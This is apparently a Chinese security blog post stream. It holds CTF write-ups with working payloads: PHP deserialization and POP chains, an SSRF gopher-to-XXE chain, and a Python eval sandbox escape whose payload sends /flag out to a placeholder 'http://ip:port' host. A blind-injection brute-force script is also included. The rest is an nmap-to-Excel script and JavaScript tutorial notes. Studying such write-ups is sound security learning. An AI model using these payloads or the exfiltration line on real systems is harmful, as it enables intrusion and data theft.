找了一下,没有发现flag文件,这里过滤的函数也限制了我们直接得到shell,那么需要另外构造能够查看到目录的payload
注意到class Test ,析构函数调用的自定义函数里面存在call_user_func(),参数可控,那么这里就可以用反序列化来执行命令

<?php
class Test {
    var $p = "ls";
    var $func = "system";
}
$test = new test();
echo serialize($test);
?>

本来想尝试构造个马,没有成功......就手动扫目录吧
最后找到/tmp/flagoefiu4r93,读一下就是了

发表在 php反序列化 | 留下评论

[第5空间 2020]do you know

考点:SSRF(gopherl协议模拟post数据)、XXE、QUERY_STRING(非预期)
解题:
打开题目获得源码

<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die('我什么都没有~');
}
if($a_key==$b_key)
{
    die("trick");
}

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}
foreach($_GET as $key=>$value)
{
        $url=$value;
}

$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }

    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件

    $res = curl_exec($ch);
    var_dump($res);

大概意思就是我们需要传入两个get参数,且需要值同键不同,并且设置了黑名单,最后就会执行curl_exec($ch),也就是SSRF

题目提示了xxe.php,那么继续看一下xxe.php的源码(访问即可获得)

<?php
highlight_file(__FILE__);
#这题在上午的时候为了防止有人用webshell扫描器d,有一段时间临时过滤了system关键字,但是这个关键字在解题中是用不到的,所以才过滤它,给选手造成的不便请您谅解
#这题和命令执行无关,请勿尝试
#there is main.php and hints.php
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);
$resp = '';
if($data != false){
    $dom = new DOMDocument();
    $dom->loadXML($data, LIBXML_NOENT);
    ob_start();
    var_dump($dom);
    $resp = ob_get_contents();
    ob_end_clean();

}
?> 
<?php
echo ($data!=false)?htmlspecialchars($data):htmlspecialchars('');
?>
<?php echo htmlspecialchars($resp);?>

一看到libxml_disable_entity_loader(false)和loadXML($data, LIBXML_NOENT)就知道这里存在XXE漏洞,但是限制了本地才能使用该功能(一开始我还用http协议去包含这个文件,结果POST的数据根本到不了xxe.php........这里要使用gopherl模拟post请求才行)

注意到xxe.php的黑名单使用的是preg_replace替换为空,那我们可以双写绕过,直接读flag.php

xml数据如下:

<?xml version="1.0" encoding="uutftf-8"?>
<!DOCTYPE POC [
<!ELEMENT name ANY >
<!ENTITY POC SYSTEM "php://filter/rereadad=convert.base64-encode/resource=flflagag.php" >]>
<root>
<name>&POC;</name>
</root>

urlencode一下,在本地模拟对xxe.php post data,然后抓包
img

根据数据包改为gopherl的payload
gopherl://127.0.0.1 + 改好的数据包(只需要数据包的一二行和Content-Type、Content-Length、post数据。然后需要空格改为%20,换行改为%0d%0a)

gopherl://127.0.0.1:80/_POST%20/xxe.php%20HTTP/1.1%0d%0aHost:127.0.0.1:80%0d%0aAccept:*/*%25Content-Length:323%0a%0dContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0adata=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22uutftf-8%22%3F%3E%0D%0A%3C%21DOCTYPE+POC+%5B%0D%0A%3C%21ELEMENT+name+ANY+%3E%0D%0A%3C%21ENTITY+POC+SYSTEM+%22php%3A%2F%2Ffilter%2Frereadad%3Dconvert.base64-encode%2Fresource%3Dfflaglag.php%22+%3E%5D%3E%0D%0A%3Croot%3E%0D%0A%3Cname%3E%26POC%3B%3C%2Fname%3E%0D%0A%3C%2Froot%3E

由于在SSRF的页面也会解析一次url编码,所以这里需要进行二次编码,然后将post的data的数据进行第三次url编码(避免data中的&符号被解析),最终发送payload即可得到flag.php内容

Em......懒得搞了,直接嫖别人的最终payload吧
gopher://127.0.0.1:80/_POST /xxe.php HTTP/1.1%250d%250aHost:127.0.0.1:80%250d%250aContent-Type:application/x-www-form-urlencoded%250d%250aContent-Length:149%250d%250a%250d%250adata=<%253fxml%2bversion%2b%253d%2b"1.0"%253f><!DOCTYPE%2bANY%2b[%2b%2b%2b%2b<!ENTITY%2bf%2bSYSdtdTEM%2b"php://filter/rereadad=convert.base64-encode/resource=flxxeag.php">]><x>%252526f;</x>

非预期:
注意到题目是使用$_SERVER['QUERY_STRING']来获取用户传入的参数的,那么这里直接可以将get请求?a=file:///var/www/html/flag.php&b=file:///var/www/html/flag.php进行URL编码,即可绕过黑名单字符,读取到flag.php

发表在 SSRF, XXE漏洞, 一些小trick | 留下评论

[DASCTF 六月赛]phpuns

考点:php反序列化字符逃逸
解题:
www.zip获得源码,关键文件源码如下
index.php

<?php
if(isset($_POST['username']) && isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'] ;
    $user = new User($username, $password);
    $_SESSION['info'] = add(serialize($user));

    redirect('info.php');
}

info.php

<?php
require_once 'init.php';
require_once 'class.php';

check(reduce($_SESSION['info']));
$tmp = unserialize(reduce($_SESSION['info']));

if($tmp->get_admin() == 0){
    die('You must be admin');
}
?>

class.php

<?php
class User{
    protected $username;
    protected $password;
    protected $admin;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
        $this->admin = 0;
    }

    public function get_admin(){
        return $this->admin;
    }
}

class Hacker_A{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }
    public function __destruct() {
        if(stristr($this->c2e38, "admin")===False){
            echo("must be admin");
        }else{
            echo("good luck");
        }
    }
}
class Hacker_B{
    public $c2e38;

    public function __construct($c2e38){
        $this->c2e38 = $c2e38;
    }

    public function get_c2e38(){
        return $this->c2e38;
    }

    public function __toString(){
        $tmp = $this->get_c2e38();
        $tmp();
        return 'test';
    }

}

class Hacker_C{
    public $name = 'test';

    public function __invoke(){
        var_dump(system('cat /flag'));
    }
}

POC链显而易见

$username = $_POST['username'];
$password = $_POST['password'] ;
$user = new User($username, $password);
$_SESSION['info'] = add(serialize($user));

add()会改变序列化后的结构,这就导致能够造成字符逃逸(前后增加了两个字符)

function add($data)
{
    $data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
    return $data;
}

info.php里面有
$tmp = unserialize(reduce($_SESSION['info']))
那么这里就明显存在反序列化

然后根据calss.php来构造一下POP链

class Hacker_A里面的析构函数存在stristr(),那么这里就能够触发class Hacker_B__toString(),里面的$tmp()就能够触发class Hacker_C__invoke()函数,从而得到flag

接下来就是构造字符逃逸的payload,因为add()会增加两个字符,所以我们采用“吃掉”原来的password字段的方式

<?php
class Hacker_A{
    public $c2e38;
}
class Hacker_B{
    public $c2e38;
}

class Hacker_C{
    public $name = 'test';
}
$A = new Hacker_A();
$B = new Hacker_B();
$C = new Hacker_C();
$B -> c2e38 = $C;
$A -> c2e38 = $B;
echo serialize($A);

得到(104个字符):
O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}

然后本地测试一下代码,输入admin/admin,得到SESSION["info"]如下:
O:4:"User":3:{s:11:"\0*\0username";s:5:"admin";s:11:"\0*\0password";s:5:"admin";s:8:"\0*\0admin";i:0;}

这里的SESSION["info"]应该是经过add()处理后的,所以需要知道这里的\0代表不可见字符chr(0)

要把原本password字段“吃”进去的话,就需要计算一下 ";s:11:"\0*\0password";s:5:"这一段的字符数,结果为26
但因为 admin 只有5个字符,而我们的payload字符数为三位数,所以字符数 +2 ,最终为28
然后就是逃逸,add()增加2个字符,所以我们需要 28/2,也就是14个 \0*\0来吃掉password字段

构造的username和password如下
Username:\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0

Password:
";S:11:"\00*\00password";O:8:"Hacker_A":1:{s:5:"c2e38";O:8:"Hacker_B":1:{s:5:"c2e38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}

password的S大写是因为需要使服务器将\0判定为不可见字符,表示private属性,若使用小写,这里的password字段就会被判定为\00*\00password

最后需要注意的是info.php第5行调用的check函数

function check($data)
{
    if(stristr($data, 'c2e38')!==False){
        die('exit');
    }
}

这里ban掉了c2e38,同理解析\0,我们也可以通过大写的S解析hex编码绕过ban掉的c2e38
img

最终payload:
Username:\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0

Password:
";S:11:"\00*\00password";O:8:"Hacker_A":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_B":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}}

发表在 php反序列化 | 留下评论

[DASCTF 六月赛]计算器1、计算器2

考点:Python沙箱逃逸(命令执行)、Python外带数据

解题:

打开题目获得源码

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import black_list,create
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)

## flag is in /flag try to get it

@app.route('/', methods=['GET', 'POST'])
def index():

    def filter(string):
        for black_word in black_list:
            if black_word in string:
                return "hack"
        return string

    if request.method == 'POST':
        input = request.form['input']
        create_question = create()
        input_question = session.get('question')
        session['question'] = create_question
        if input_question == None:
            return render_template('index.html', answer="Invalid session please try again!", question=create_question)
        if filter(input)=="hack":
            return render_template('index.html', answer="hack", question=create_question)
        calc_str = input_question + "=" + str(input)
        try:
            calc_result = str((eval(calc_str)))
        except Exception as ex:
            calc_result = "Invalid"
        return render_template('index.html', answer=calc_result,question=create_question)

    if request.method == 'GET':
        create_question = create()
        session['question'] = create_question
        return render_template('index.html',question=create_question)

@app.route('/source')
def source():
        return open("app.py", "r").read()

if __name__ == '__main__':
    app.run(host="0.0.0.0", debug=False)

em.......有点长,这里简化一下(方便本地实验)

a = "1234"      #代表一堆随机数字
b = input("数字:")    #代表用户post的数据
result = str(eval(a+"=="+str(b)))
if result == "True":
    print("Congratulations!")
else:
    print("Error")

计算器1 过滤了import、requests,计算器2过滤了read (应该还有其他的黑名单word,只是我没遇到)

  • 本地实验得到,当传入如 123 and evil_code时,后面的evil_code不会执行。当传入1234 and evil_code时(即满足前面的等式),就会执行evil_code

  • 后续实验发现eval函数里面不能完全如python shell执行python的命令,但eval()支持exec()函数,那么我们在里面套用exec(),就能像python shell一样执行命令了

  • python可以一行执行多条命令,使用分号隔开即可

  • 对于过滤的字符,我们可以使用字符拼接绕过

    如果我们能够使用服务器的Python shell,我们可以通过如下语句将flag带出

from urllib.requests import urlopen
a = open(r'/flag').read()
urlopen('http://ip:port/?'+a)

然后监听自己VPS的端口得到外带出的flag

那么根据以上信息构造一下payload

Calc 1 Payload:

1234 and exec("exec(\'a = \"impo\"+\"rt\";b = \"requ\"+\"est \";exec(\"from urllib.\"+b+a+\" urlopen\")\');exec(\"a = open(r\'/flag\').read();urlopen(\'http://ip:port/?\'+a)\")")

img

Calc 2 Payload:

1234 and exec("exec(\'a = \"impo\"+\"rt\";b = \"requ\"+\"est \";c = \"d()\";exec(\"from urllib.\"+b+a+\" urlopen\")\');exec(\"a = open(r\'/flag\').rea\"+c);exec(\"urlopen(\'http://ip:port/?\'+a)\")")

img

Tips:上面的 1234 指的是算出的结果,采用urllib库的原因是因为它是标准库,不会存在环境的原因

后续补充:原来我的是非预期,这道题考的是布尔型Python盲注???

贴上y1ng师傅的脚本:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com

import requests
import re
from urllib.parse import quote as urlencode

def main():
    alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
    proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}  
    data={"input":""}
    s = requests.Session()

    flag = ''
    for i in range(0,100):
        for char in alphabet:
            try:
                r = s.post("http://183.129.189.60:10026/", data={"input":""})
                question = re.search(r"<h4>(.*)</h4>", r.content.decode(), re.M|re.I).group().replace("<h4>", "").replace("</h4>","")[:-1]
                # print(question)
                data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)
                r = s.post("http://183.129.189.60:10026/", data=data, proxies=proxies)
                result = r.content.decode()
                # print(char, end=' ')
                # print(re.search(r"<h3>(.*)</h3>", result, re.M|re.I).group())
                # print(data)
                if r"Congratulations" in result:
                    flag += char
                    print(flag)
                    break
            except Exception as e:
                print("Exception: ", end='')
                print(e)

if __name__ == '__main__':
    main()
发表在 Python沙箱逃逸 | 留下评论

一个将nmap扫描数据导为excel表格的脚本

实习工作之一,扫描某著名公司分部资产,最后Nmap数据有12万行,甲方要求把扫描出来的结果导入excel.....
作为实打实的带懒狗,这种活当然需要靠写脚本来完成啦(当然,也不可能手动hhh)

#Written by ttpfx

import xlsxwriter

h = 0
l = -1
scan_path = r"C:\Users\ASUS\Desktop\all_port.txt"       #nmap原始数据保存路径
save_path = r"C:\Users\ASUS\Desktop\3.1.xlsx"    #导出excel存放路径
writebook = xlsxwriter.Workbook(save_path)
sheet = writebook.add_worksheet('sheet1')
sheet.set_column(0,0,20)  #设置第一列宽为20
bold = writebook.add_format({   #一些单元格属性配置
        'bold':  True,
        'border': 1,
        'align': 'left',
        'valign': 'vcenter',
        'fg_color': '#FFFF00',
    })

f = open(scan_path)
line = f.readline()

def write(line,l,h):
    while line:
        print(line.strip('\n'))
        line = f.readline()
        lines = str(line)
        if lines == '\n':
            h = h+1
            l = -1
        else:
            lines=lines.strip('\n')
            if 'Nmap scan report for' in line:
                l = l+1
                IP = lines.replace('Nmap scan report for ','')
                sheet.write(h,l,IP,bold)

            elif '/tcp' in lines:
                l = l+1
                sheet.write(h,l,lines)

write(line,l,h)
writebook.close()

输出效果如下
img

脚本有一些小缺点

  • 只支持txt结果导入excel
  • 只能写入新的excel文件,否则会乱码或者报错

本来是想用xlwt库的,但是它最多只能写255列,而公司这堆IP里有某些离谱的IP开了几千个端口。。。。。

这个脚本是导入了所有port,若只想导入open port,可以将37到39行改为

elif 'open' in lines:
    l = l+1
    lines = lines.replace('open  ','')
    sheet.write(h,l,lines)

推荐在CMD or shell界面运行,跑12万行数据只需半分钟,在python shell运行的话就需要十分钟左右

最后,别问俺为啥没用正则[狗头]

发表在 脚本 | 留下评论

两天速成Javascript

前言

考虑到正在学区块链安全(刚学solidity),并且学完Node.js后也有一些语法看不太懂,在菜鸟教程快速过一下Javascript...(嫖的菜鸟教程,大师傅路过请翻页)

Javascript输出

JavaScript 可以通过不同的方式来输出数据:

  • 使用 window.alert() 弹出警告框。
  • 使用 document.write() 方法将内容写到 HTML 文档中。
  • 使用 innerHTML 写入到 HTML 元素。
  • 使用 console.log() 写入到浏览器的控制台。

使用 window.alert()

你可以弹出警告框来显示数据:

<script>
window.alert(5 + 6);
</script>

操作 HTML 元素

如需从 JavaScript 访问某个 HTML 元素,您可以使用 document.getElementById(id) 方法。

请使用 "id" 属性来标识 HTML 元素,并 innerHTML 来获取或插入元素内容:

<body>

<h1>我的第一个 Web 页面</h1>

<p id="demo">我的第一个段落</p>

<script>
document.getElementById("demo").innerHTML = "段落已修改。";
</script>

</body>

写到 HTML 文档

出于测试目的,您可以将JavaScript直接写在HTML 文档中:

<!DOCTYPE html>
<html>
<body>

<h1>我的第一个 Web 页面</h1>

<p>我的第一个段落。</p>

<script>
document.write(Date());
</script>

</body>
</html>

页面会输出当前时间

写到控制台

如果您的浏览器支持调试,你可以使用 console.log() 方法在浏览器中显示 JavaScript 值。

浏览器中使用 F12 来启用调试模式, 在调试窗口中点击 "Console" 菜单。

<!DOCTYPE html>
<html>
<body>

<h1>我的第一个 Web 页面</h1>

<script>
a = 5;
b = 6;
c = a + b;
console.log(c);
</script>

</body>
</html>

console会输出11

语法

字面量

在编程语言中,一般固定值称为字面量,如 3.14。

数字(Number)字面量可以是整数或者是小数,或者是科学计数(e)。

字符串(String)字面量 可以使用单引号或双引号:

表达式字面量 用于计算,如 1+1

数组(Array)字面量 定义一个数组:[40, 100, 1, 5, 25, 10]

对象(Object)字面量定义一个对象:{firstName:"John", lastName:"Doe", age:50, eyeColor:"blue"}

函数(Function)字面量 定义一个函数:function myFunction(a, b) { return a * b;}

变量

在编程语言中,变量用于存储数据值。

JavaScript 使用关键字 var 来定义变量, 使用等号来为变量赋值:

var x, length

x = 5

length = 6

变量可以通过变量名访问。在指令式语言中,变量通常是可变的。字面量是一个恒定的值。即变量是一个名称。字面量是一个值。

操作符

和其他语言的一致

语句

在 HTML 中,JavaScript 语句向浏览器发出的命令。

语句是用分号分隔:

x = 5 + 6;
y = x * 10;

注释

单行//,多行/**/

关键字

呜........太多了,感觉不需要背住这么多,遇到不认识的直接搜就是了

字符集

JavaScript 使用 Unicode 字符集。

Unicode 覆盖了所有的字符,包含标点等字符。

语句

JavaScript 语句是发给浏览器的命令。

这些命令的作用是告诉浏览器要做的事情。

下面的 JavaScript 语句向 id="demo" 的 HTML 元素输出文本 "你好 Dolly" :

document.getElementById("demo").innerHTML = "你好 Dolly";

分号

分号用于分隔 JavaScript 语句。

通常我们在每条可执行的语句结尾添加分号。

使用分号的另一用处是在一行中编写多条语句。

代码块

JavaScript 可以分批地组合起来。

代码块以左花括号开始,以右花括号结束。

代码块的作用是一并地执行语句序列。

语句表示符

JavaScript 语句通常以一个 语句标识符为开始,并执行该语句。

下表列出了 JavaScript 语句标识符 (关键字) :

语句 描述
break 用于跳出循环。
catch 语句块,在 try 语句块执行出错时执行 catch 语句块。
continue 跳过循环中的一个迭代。
do ... while 执行一个语句块,在条件语句为 true 时继续执行该语句块。
for 在条件语句为 true 时,可以将代码块执行指定的次数。
for ... in 用于遍历数组或者对象的属性(对数组或者对象的属性进行循环操作)。
function 定义一个函数
if ... else 用于基于不同的条件来执行不同的动作。
return 退出函数
switch 用于基于不同的条件来执行不同的动作。
throw 抛出(生成)错误 。
try 实现错误处理,与 catch 一同使用。
var 声明一个变量。
while 当条件语句为 true 时,执行语句块。

对代码行进行折行

您可以在文本字符串中使用反斜杠对代码行进行换行。下面的例子会正确地显示:

document.write("你好 \
世界!");

//不过,您不能像这样折行:

document.write \
("你好世界!");

数据类型

动态类型

JavaScript 拥有动态类型。这意味着相同的变量可用作不同的类型:

var x;               // x 为 undefined
var x = 5;           // 现在 x 为数字
var x = "John";      // 现在 x 为字符串

数字

JavaScript 只有一种数字类型。数字可以带小数点,也可以不带

极大或极小的数字可以通过科学(指数)计数法来书写

数组

下面的代码创建名为 cars 的数组:

var cars=new Array();
cars[0]="Saab";
cars[1]="Volvo";
cars[2]="BMW";

或者 (condensed array):

var cars=new Array("Saab","Volvo","BMW");

或者 (literal array):

var cars=["Saab","Volvo","BMW"];

对象

对象由花括号分隔。在括号内部,对象的属性以名称和值对的形式 (name : value) 来定义。属性由逗号分隔:

var person={firstname:"John", lastname:"Doe", id:5566};

上面例子中的对象 (person) 有三个属性:firstname、lastname 以及 id。

空格和折行无关紧要。声明可横跨多行:

var person={
firstname : "John",
lastname : "Doe",
id    : 5566
};

对象属性有两种寻址方式:

name=person.lastname;
name=person["lastname"];

Undefined 和 Null

Undefined 这个值表示变量不含有值。

可以通过将变量的值设置为 null 来清空变量。

Undefined和null的值相等,但类型不同

typeof undefined             // undefined
typeof null                  // object
null === undefined           // false
null == undefined            // true

声明变量类型

当您声明新变量时,可以使用关键词 "new" 来声明其类型:

var carname=new String;
var x=   new Number;
var y=   new Boolean;
var cars=  new Array;
var person= new Object;

对象

在 JavaScript中,几乎所有的事物都是对象。 在 JavaScript 中,对象是非常重要的,当你理解了对象,就可以了解 JavaScript 。

以下代码为变量 car 设置值为 "Fiat" :

var car = "Fiat";

对象也是一个变量,但对象可以包含多个值(多个变量)。

var car = {type:"Fiat", model:500, color:"white"};

在以上实例中,3 个值 ("Fiat", 500, "white") 赋予变量 car。

在以上实例中,3 个变量 (type, model, color) 赋予变量 car。

可以说, JavaScript 对象是变量的容器。

对象定义

你可以使用字符来定义和创建 JavaScript 对象:

var person = {firstName:"John", lastName:"Doe", age:50, eyeColor:"blue"};

定义 JavaScript 对象可以跨越多行,空格跟换行不是必须的:

var person = {
    firstName:"John",
    lastName:"Doe",
    age:50,
    eyeColor:"blue"
};

对象属性

可以说 "JavaScript 对象是变量的容器"。

但是,我们通常认为 "JavaScript 对象是键值对的容器"。

键值对通常写法为 name : value (键与值以冒号分割)。

键值对在 JavaScript 对象通常称为 对象属性

对象键值对的写法类似于:

  • PHP 中的关联数组
  • Python 中的字典
  • C 语言中的哈希表
  • Java 中的哈希映射
  • Ruby 和 Perl 中的哈希表

访问对象属性

你可以通过两种方式访问对象属性

person.lastName;
person["lastName"];

对象方法

对象的方法定义了一个函数,并作为对象的属性存储。

对象方法通过添加 () 调用 (作为一个函数)。

该实例访问了 person 对象的 fullName() 方法:

name = person.fullName();

如果你要访问 person 对象的 fullName 属性,它将作为一个定义函数的字符串返回:

name = person.fullName;

访问对象方法

你可以使用以下语法创建对象方法:

methodName : function() { code lines }

你可以使用以下语法访问对象方法:

objectName.methodName()

通常 fullName() 是作为 person 对象的一个方法, fullName 是作为一个属性。

有多种方式可以创建,使用和修改 JavaScript 对象。

同样也有多种方式用来创建,使用和修改属性和方法。

函数

语法

函数就是包裹在花括号中的代码块,前面使用了关键词 function:

function myFunction(var1,var2)
{
代码
}

当调用该函数时,会执行函数内的代码。

可以在某事件发生时直接调用函数(比如当用户点击按钮时),并且可由 JavaScript 在任何位置进行调用。

局部变量

在 JavaScript 函数内部声明的变量(使用 var)是局部变量,所以只能在函数内部访问它。(该变量的作用域是局部的)。

您可以在不同的函数中使用名称相同的局部变量,因为只有声明过该变量的函数才能识别出该变量。

只要函数运行完毕,本地变量就会被删除。

全局变量

在函数外声明的变量是全局变量,网页上的所有脚本和函数都能访问它。

变量的生存期

JavaScript 变量的生命期从它们被声明的时间开始。

局部变量会在函数运行以后被删除。

全局变量会在页面关闭后被删除。

向未声明的 JavaScript 变量分配值

如果您把值赋给尚未声明的变量,该变量将被自动作为 window 的一个属性。

这条语句:

carname="Volvo";

事件

HTML 事件是发生在 HTML 元素上的事情。

当在 HTML 页面中使用 JavaScript 时, JavaScript 可以触发这些事件。

HTML事件

HTML 事件可以是浏览器行为,也可以是用户行为。

以下是 HTML 事件的实例:

  • HTML 页面完成加载
  • HTML input 字段改变时
  • HTML 按钮被点击

通常,当事件发生时,你可以做些事情。

在事件触发时 JavaScript 可以执行一些代码。

HTML 元素中可以添加事件属性,使用 JavaScript 代码来添加 HTML 元素。

单引号:

<some-HTML-element some-event='JavaScript 代码'>

双引号:

<some-HTML-element some-event="JavaScript 代码">

在以下实例中,按钮元素中添加了 onclick 属性 (并加上代码):

<button onclick="getElementById('demo').innerHTML=Date()">现在的时间是?</button>

以上实例中,JavaScript 代码将修改 id="demo" 元素的内容。

在下一个实例中,代码将修改自身元素的内容 (使用 this.innerHTML):

<button onclick="this.innerHTML=Date()">现在的时间是?</button>

常见的HTML事件

下面是一些常见的HTML事件的列表:

事件 描述
onchange HTML 元素改变
onclick 用户点击 HTML 元素
onmouseover 用户在一个HTML元素上移动鼠标
onmouseout 用户从一个HTML元素上移开鼠标
onkeydown 用户按下键盘按键
onload 浏览器已完成页面的加载

事件的用处

事件可以用于处理表单验证,用户输入,用户行为及浏览器动作:

  • 页面加载时触发事件
  • 页面关闭时触发事件
  • 用户点击按钮执行动作
  • 验证用户输入内容的合法性
  • 等等 ...

可以使用多种方法来执行 JavaScript 事件代码:

  • HTML 事件属性可以直接执行 JavaScript 代码
  • HTML 事件属性可以调用 JavaScript 函数
  • 你可以为 HTML 元素指定自己的事件处理程序
  • 你可以阻止事件的发生。

字符串

和python一样,我们可以使用索引位置来访问字符串中的每个字符

字符串长度

可以使用内置属性 length 来计算字符串的长度:

var txt = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
var sln = txt.length;

特殊字符

反斜杠是一个转义字符。 转义字符将特殊字符转换为字符串字符:

代码 输出
\' 单引号
\" 双引号
\ 反斜杠
\n 换行
\r 回车
\t tab(制表符)
\b 退格符
\f 换页符

字符串可以是对象

通常, JavaScript 字符串是原始值,可以使用字符创建: var firstName = "John"

但我们也可以使用 new 关键字将字符串定义为一个对象: var firstName = new String("John")

var x = "John";
var y = new String("John");
typeof x // 返回 String
typeof y // 返回 Object

字符串属性和方法

原始值字符串,如 "John", 没有属性和方法(因为他们不是对象)。

原始值可以使用 JavaScript 的属性和方法,因为 JavaScript 在执行方法和属性时可以把原始值当作对象。

字符串属性

属性 描述
constructor 返回创建字符串属性的函数
length 返回字符串的长度
prototype 允许您向对象添加属性和方法

字符串方法

更多方法实例可以参见:JavaScript String 对象

方法 描述
charAt() 返回指定索引位置的字符
charCodeAt() 返回指定索引位置字符的 Unicode 值
concat() 连接两个或多个字符串,返回连接后的字符串
fromCharCode() 将 Unicode 转换为字符串
indexOf() 返回字符串中检索指定字符第一次出现的位置
lastIndexOf() 返回字符串中检索指定字符最后一次出现的位置
localeCompare() 用本地特定的顺序来比较两个字符串
match() 找到一个或多个正则表达式的匹配
replace() 替换与正则表达式匹配的子串
search() 检索与正则表达式相匹配的值
slice() 提取字符串的片断,并在新的字符串中返回被提取的部分
split() 把字符串分割为子字符串数组
substr() 从起始索引号提取字符串中指定数目的字符
substring() 提取字符串中两个指定的索引号之间的字符
toLocaleLowerCase() 根据主机的语言环境把字符串转换为小写,只有几种语言(如土耳其语)具有地方特有的大小写映射
toLocaleUpperCase() 根据主机的语言环境把字符串转换为大写,只有几种语言(如土耳其语)具有地方特有的大小写映射
toLowerCase() 把字符串转换为小写
toString() 返回字符串对象值
toUpperCase() 把字符串转换为大写
trim() 移除字符串首尾空白
valueOf() 返回某个字符串对象的原始值

条件语句

条件语句

通常在写代码时,您总是需要为不同的决定来执行不同的动作。您可以在代码中使用条件语句来完成该任务。

在 JavaScript 中,我们可使用以下条件语句:

  • if 语句 - 只有当指定条件为 true 时,使用该语句来执行代码
  • if...else 语句 - 当条件为 true 时执行代码,当条件为 false 时执行其他代码
  • if...else if....else 语句- 使用该语句来选择多个代码块之一来执行
  • switch 语句 - 使用该语句来选择多个代码块之一来执行

if语句

语法:

if (condition)
{
    当条件为 true 时执行的代码
}

if...else语句

语法

if (condition)
{
    当条件为 true 时执行的代码
}
else
{
    当条件不为 true 时执行的代码
}

if...else if...else 语句

语法

if (condition1)
{
    当条件 1 为 true 时执行的代码
}
else if (condition2)
{
    当条件 2 为 true 时执行的代码
}
else
{
  当条件 1 和 条件 2 都不为 true 时执行的代码

switch 语句

语法

switch(n)
{
    case 1:
        执行代码块 1
        break;
    case 2:
        执行代码块 2
        break;
    default:
        与 case 1 和 case 2 不同时执行的代码
}

default关键词

eg

var d=new Date().getDay();
switch (d)
{
    case 6:x="今天是星期六";
    break;
    case 0:x="今天是星期日";
    break;
    default:
    x="期待周末";
}
document.getElementById("demo").innerHTML=x;

循环语句

  • for - 循环代码块一定的次数
  • for/in - 循环遍历对象的属性
  • while - 当指定的条件为 true 时循环指定的代码块
  • do/while - 同样当指定的条件为 true 时循环指定的代码块

for循环

语法:

for (语句 1; 语句 2; 语句 3)
{
    被执行的代码块
}

语句 1 (代码块)开始前执行

语句 2 定义运行循环(代码块)的条件

语句 3 在循环(代码块)已被执行之后执行

当循环开始前已经设置了值时,语句一是可以被省略的

eg

var i=2,len=cars.length;
for (; i<len; i++)
{ 
    document.write(cars[i] + "<br>");
}

如果省略了语句 2,那么必须在循环内提供 break。否则循环就无法停下来。这样有可能令浏览器崩溃。

语句 3 也可以省略(比如当循环内部有相应的代码时):

eg:

var i=0,len=cars.length;
for (; i<len; )
{ 
    document.write(cars[i] + "<br>");
    i++;
}

while循环

语法

while (条件)
{
